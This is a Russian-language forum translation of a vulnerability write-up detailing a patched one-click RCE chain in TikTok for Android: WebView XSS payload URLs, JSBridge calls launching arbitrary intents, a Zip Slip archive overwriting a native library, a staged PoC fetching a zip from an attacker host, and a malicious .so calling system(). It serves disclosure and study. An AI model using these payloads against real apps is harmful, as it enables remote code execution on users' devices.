• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья RCE и XSS баги в TikTok для Android (в 1 клик)

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332

TL;DR​

Во время тестирования приложения TikTok для Android я обнаружил несколько ошибок, которые можно связать, чтобы добиться удаленного выполнения кода. В этой статье мы обсудим все ошибки и цепочки в целом. Я работал над поиском багов и методикой эксплуатации 21 день. Последний эксплойт был прост. TikTok реализовал исправление для устранения выявленных ошибок, и оно было повторно протестировано, чтобы подтвердить решение.

Ошибки​

  1. Universal XSS в TikTok WebView
  2. Другая XSS на AddWikiActivity
  3. Arbitrary Components
  4. Уязвимость Zip Slip в TmaTestActivity
  5. Наконец - сам RCE!

Универсальный XSS на TikTok WebView​

TikTok использует определенный WebView, который можно вызвать с помощью ссылки, в входящих сообщениях. WebView обрабатывает то, что называется falcon-ссылками, захватывая их из внутренних файлов вместо того, чтобы получать их со своего сервера каждый раз, когда пользователь использует его для повышения производительности.

В целях измерения производительности после завершения загрузки страницы. Будет выполнена следующая функция:
Код:
this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);
Первая идея, которая пришла мне в голову, - это ввести XSS Payload в URL-адрес, чтобы избежать вызова функции и выполнить мой вредоносный код.

Я попробовал следующую ссылку https://m.tiktok.com/falcon/?'),alert(1));//
К сожалению, это не сработало. Я начал писать сценарий Frida, чтобы перехватить метод android.webkit.WebView.evaluateJavascript, хотел посмотреть, что произойдет?

Я обнаружил, что методу передается следующая строка:
Код:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?%27)%2Calert(1))%3B%2F%2F'))
Полезная нагрузка кодируется, потому что она находится в сегменте строки запроса. Поэтому я решил поместить полезную нагрузку в сегмент фрагмента после #
Код:
https://m.tiktok.com/falcon/#'),alert(1));//
запустит следующую строку:
Код:
JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/#'),alert(1));//'))
Теперь все готово! У нас есть Universal XSS в этом WebView.

Примечание: Это Universal XSS , потому что Javascript код вызывается , если ссылка содержит что-то вроде: m.tiktok.com/falcon/

Например, https://www.google.com/m.tiktok.com/falcon/ также запустит этот XSS.

Начат копать глубже​

Найдя этот XSS, я начал копаться в этом WebView, чтобы увидеть, насколько он может быть разрушительным и опасным.

Во-первых, я настроил свою лабораторию, чтобы упростить тестирование. Я включил модуль WebViewDebug для отладки WebView из моих инструментов разработчика в Google Chrome. Вы найдете модуль здесь: https://github.com/feix760/WebViewDebugHook

Я обнаружил, что WebView поддерживает intent схему. Она может дать вам возможность создать собственный скрипт и запустить его как действие. Полезно избегать настройки экспорта неэкспортируемых действий и максимизировать объем тестирования. На эту тему было интересное исследование, прочтите для получения дополнительной информации: https://www.mbsd.jp/Whitepaper/IntentScheme.pdf

Я попытался выполнить следующий javascript код, чтобы открыть com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity Activity:
Код:
location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;"
Но, увы, не сработало. Я возвращаюсь к WebViewClient, чтобы посмотреть, что происходит и почему код не отработал. И вижу следующий код:
Код:
boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();
if((v8.i) && !v0_7) {
    v8.i = false;
    v4 = true;
}
else {
    v4 = v0_7;
}
Этот код ограничивает действие intent схемы до тех пор, пока пользователь не щелкнет где-нибудь. Плохо! Я не люблю эксплойты в два клика. Я сохранил это в своей заметке и продолжил копать и разбираться.

ToutiaoJSBridge, он реализован в WebView. У него много "вкусных" функций, одна из них openSchema, которая использовалась для открытия внутренних диплинков (deep-ссылок). Там оказалась deeplink-ссылка, aweme://wiki, которая используется для открытия URL-адресов в AddWikiActivity WebView.


Другая XSS-уязвимость в AddWikiActivity​

AddWikiActivity имплементирует проверку URL, чтобы убедиться, что в нем не будет открываться черный URL. Но проверка работала только на http или https. По задумке кодеров, любая другая схема недействительна и не требует проверки:
Код:
if(!e.b(arg8)) {
    com.bytedance.t.c.e.b.a("AbsSecStrategy", "needBuildSecLink : url is invalid.");
    return false;
}
public static boolean b(String arg1) {
    return !TextUtils.isEmpty(arg1) && ((arg1.startsWith("http")) || (arg1.startsWith("https"))) && !e.a(arg1);
}
Довольно круто, если на javascript схему валидация не распространяется. Мы можем использовать эту схему для выполнения XSS-атак и на этот WebView тоже!
Код:
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
    "__callback_id": "0",
    "func": "openSchema",
    "__msg_type": "callback",
    "params": {
        "schema": "aweme://wiki?url=javascript://m.tiktok.com/%250adocument.write(%22%3Ch1%3EPoC%3C%2Fh1%3E%22)&disable_app_link=false"
    },
    "JSSDK": "1",
    "namespace": "host",
    "__iframe_url": "http://iframe.attacker.com/"
}));
В WebView напечатался <h1>PoC</h1>

Arbitrary Components​

Хорошая новость заключается в том, что AddWikiActivity WebView поддерживает эту intent схему без каких-либо ограничений, но если для disable_app_link параметра установлено значение false. Круто!

Если следующий код будет выполнен в AddWikiActivity, то будет вызван UserFavoritesActivity:
Код:
location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")

Уязвимость Zip Slip в TmaTestActivity​

Теперь мы можем открыть любое действие и передать ему любые дополнения. Я нашел действие, называемое TmaTestActivity в split_df_miniapp.apk.

Примечание : пакеты split не добавляются в APK. Они загружаются после первого запуска приложения ядром Google Play Core. Вы можете найти этот пакет вот так: adb shell pm path {package_name}

Вкратце, TmaTestActivity использовался для обновления SDK путем загрузки zip-архива из интернета и его извлечения.
Код:
Uri v5 = Uri.parse(Uri.decode(arg5.toString()));
String v0 = v5.getQueryParameter("action");
if(m.a(v0, "sdkUpdate")) {
    m.a(v5, "testUri");
    this.updateJssdk(arg4, v5, arg6);
    return;
}
Чтобы вызвать процесс обновления, мы должны установить для параметра action значение sdkUpdate.
Код:
private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {
    String v0 = arg6.getQueryParameter("sdkUpdateVersion");
    String v1 = arg6.getQueryParameter("sdkVersion");
    String v6 = arg6.getQueryParameter("latestSDKUrl");
    SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();
    v2.putString("sdk_update_version", v0).apply();
    v2.putString("sdk_version", v1).apply();
    v2.putString("latest_sdk_url", v6).apply();
    DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();
    BundleHandlerParam v0_1 = new BundleHandlerParam();
    v6_1.setInitialParam(arg5, v0_1);
    ResolveDownloadHandler v5 = new ResolveDownloadHandler();
    v6_1.setNextHandler(((BaseBundleHandler)v5));
    SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();
    v5.setNextHandler(((BaseBundleHandler)v6_2));
}
Он собирает информацию об обновлении SDK из параметров, затем вызывает DownloadBaseBundleHandler, затем устанавливает следующий обработчик ResolveDownloadHandler, а потом уже SetCurrentProcessBundleVersionHandler.

Начнем с DownloadBaseBundleHandler. Он проверяет sdkUpdateVersion параметр, чтобы узнать, был он новее текущего или нет. Мы можем установить значение 99,99,99, чтобы избежать этой проверки, а затем начать загрузку:
Код:
public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {
  .....
    String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);
    String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");
    .....
    if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {
        InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);
        v10.appendLog("no need update remote basebundle version");
        arg15.isIgnoreTask = true;
        return arg15;
    }
    .....
    this.startDownload(v9, v10, arg15, v0, v8);
    .....
В startDownload методе я обнаружил, что:
Код:
v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath();
v2.b = this.getMd5FromUrl(arg16);
v2.a - это путь загрузки. Он получает контекст приложения AppbrandContext и должен иметь образец. К сожалению, приложение не всегда запускало этот образец. Но я же сказал вам, что я потратил на этот эксплойт 21 день, ага !? Мне было достаточно получить обширные знания о рабочем процессе приложения. И да! Я где-то видел, как запускается этот экземпляр.

Вызов функции preloadMiniApp через ToutiaoJSBridge смог запустить код для меня! Мне было легко! Копаюсь во всех функциях, даже в первый раз мне это не кажется полезным, но в данной ситуации пригодилось;).

v2.b - это md5-сумма загружаемого файла. Он получается из самого имени файла:
Код:
private String getMd5FromUrl(String arg3) {
    return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));
}
Имя файла должно выглядеть так: anything_{md5sum_of_file}.zip, потому что md5sum будет сравниваться с файлом md5sum после загрузки:
Код:
public void onDownloadSuccess(ad arg11) {
    super.onDownloadSuccess(arg11);
    File v11 = new File(this.val$tmaFileRequest.a, this.val$tmaFileRequest.b);
    long v6 = this.val$beginDownloadTime.getMillisAfterStart();
    if(!v11.exists()) {
        this.val$baseBundleEvent.appendLog("remote basebundle download fail");
        this.val$param.isLastTaskSuccess = false;
        this.val$baseBundleEvent.appendLog("remote basebundle not exist");
        InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
    }
    else if(this.val$tmaFileRequest.b.equals(CharacterUtils.md5Hex(v11))) {
        this.val$baseBundleEvent.appendLog("remote basebundle download success, md5 verify success");
        this.val$param.isLastTaskSuccess = true;
        this.val$param.targetZipFile = v11;
        InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "success", "", v6);
    }
    else {
        this.val$baseBundleEvent.appendLog("remote basebundle md5 not equals");
        InnerEventHelper.mpLibResult("mp_lib_download_result", this.val$localVersion, this.val$latestVersion, "fail", "md5_fail", v6);
        this.val$param.isLastTaskSuccess = false;
    }
После завершения обработки загрузки файл передается ResolveDownloadHandler, чтобы распаковать его:
Код:
public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) {
    BaseBundleEvent v0 = arg14.baseBundleEvent;
    if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) {
        arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0);
public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) {
    long v10;
    boolean v4;
    Class v0 = BaseBundleFileManager.class;
    synchronized(v0) {
        boolean v1 = arg9.exists();
    }
    if(!v1) {
        return 0L;
    }
    try {
        File v1_1 = BaseBundleFileManager.getBundleFolderFile(arg8, arg10);
        arg12.appendLog("start unzip" + arg10);
        BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9);
private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) {
    try {
        arg2.appendLog("unzip" + arg3);
        IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4);
    }
    ......
}
public static void unZipFolder(String arg1, String arg2) throws Exception {
    IOUtils.a(new FileInputStream(arg1), arg2, false);
}
private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception {
    ZipInputStream v0 = new ZipInputStream(arg5);
    while(true) {
    label_2:
        ZipEntry v5 = v0.getNextEntry();
        if(v5 == null) {
            break;
        }
        String v1 = v5.getName();
        if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // Are you notice arg7?
            goto label_2;
        }
        if(v5.isDirectory()) {
            new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs();
            goto label_2;
        }
        File v5_1 = new File(arg6 + File.separator + v1);
        if(!v5_1.getParentFile().exists()) {
            v5_1.getParentFile().mkdirs();
        }
        v5_1.createNewFile();
        FileOutputStream v1_1 = new FileOutputStream(v5_1);
        byte[] v5_2 = new byte[0x400];
        while(true) {
            int v3 = v0.read(v5_2);
            if(v3 == -1) {
                break;
            }
            v1_1.write(v5_2, 0, v3);
            v1_1.flush();
        }
        v1_1.close();
    }
    v0.close();
}
В последнем методе, вызываемом для распаковки файла, есть проверка на обход пути, но, поскольку значение arg7 равно false, проверка не произойдет! Идеально!!

Это позволяет нам использовать уязвимость ZIP Slip и перезаписывать некоторые вкусные файлы.

А теперь время для RCE!​

Я создал zip-файл, и обход пути имени файла для перезаписи файла /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so:
Код:
dphoeniixx@MacBook-Pro Tiktok % 7z l libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)

Scanning the drive for archives:
1 file, 1930 bytes (2 KiB)

Listing archive: libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip

--
Path = libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
Type = zip
Physical Size = 1930

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2020-11-26 04:08:29 .....         5896         1496  ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
------------------- ----- ------------ ------------  ------------------------
2020-11-26 04:08:29               5896         1496  1 files

Теперь мы можем перезаписать исходные библиотеки нашей вредоносной библиотекой для выполнения нашего кода. Он не будет выполнен, если пользователь не перезапустит приложение. Я нашел способ загружать эту библиотеку без перезапуска, запустив com.tt.miniapphost.placeholder.MiniappTabActivity0.

Окончательный PoC:
Код:
document.title = "Loading..";
document.write("<h1>Loading..</h1>");
if (document && window.name != "finished") { // the XSS will be fired multiple time before loading the page and after. this condition to make sure that the payload won't fire multiple time.
    window.name = "finished";
    window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
        "__callback_id": "0",
        "func": "preloadMiniApp",
        "__msg_type": "callback",
        "params": {
            "mini_app_url": "https://microapp/"
        },
        "JSSDK": "1",
        "namespace": "host",
        "__iframe_url": "http://d.c/"
    })); // initialize Mini App
    window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
        "__callback_id": "0",
        "func": "openSchema",
        "__msg_type": "callback",
        "params": {
            "schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%2F%2Fwww.google.com.eg%2F%3Faction%3DsdkUpdate%26latestSDKUrl%3Dhttp%3A%2F%2F{ATTACKER_HOST}%2Flibran_a1ef01b09a3d9400b77144bbf9ad59b1.zip%26sdkUpdateVersion%3D1.87.1.11%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapp.tmatest.TmaTestActivity%3Bpackage%3Dcom.zhiliaoapp.musically%3Baction%3Dandroid.intent.action.VIEW%3Bend%22)%3B%0A&noRedirect=false&title=First%20Stage&disable_app_link=false"
        },
        "JSSDK": "1",
        "namespace": "host",
        "__iframe_url": "http://iframe.attacker.com/"
    })); // Download malicious zip file that will overwite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
    setTimeout(function() {
        window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
            "__callback_id": "0",
            "func": "openSchema",
            "__msg_type": "callback",
            "params": {
                "schema": "aweme://wiki?url=javascript:location.replace(%22intent%3A%23Intent%3Bscheme%3Dhttps%3Bcomponent%3Dcom.zhiliaoapp.musically%2Fcom.tt.miniapphost.placeholder.MiniappTabActivity0%3Bpackage%3Dcom.zhiliaoapp.musically%3BS.miniapp_url%3Dhttps%3Bend%22)%3B%0A&noRedirect=false&title=Second%20Stage&disable_app_link=false"
            },
            "JSSDK": "1",
            "namespace": "host",
            "__iframe_url": "http://iframe.attacker.com/"
        })); // load the malicious library after overwrtting it.
    }, 5000);
}
Код вредоносной библиотеки:
Код:
#include <jni.h>
#include <string>
#include <stdlib.h>


JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    system("id > /data/data/com.zhiliaoapp.musically/PoC");
    return JNI_VERSION_1_6;
}

Финал. TikTok все исправил!​

TikTok Security внедрил исправление для устранения этих уязвимостей. Были предприняты следующие действия:
  1. Уязвимый код XSS удален.
  2. TmaTestActivity был удален.
  3. Внедрены запреты, которые не позволяют использовать AddWikiActivity и WebViewActivity.


оригинальная статья (EN)

Перевод: tabac, специально для https://xss.pro

 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх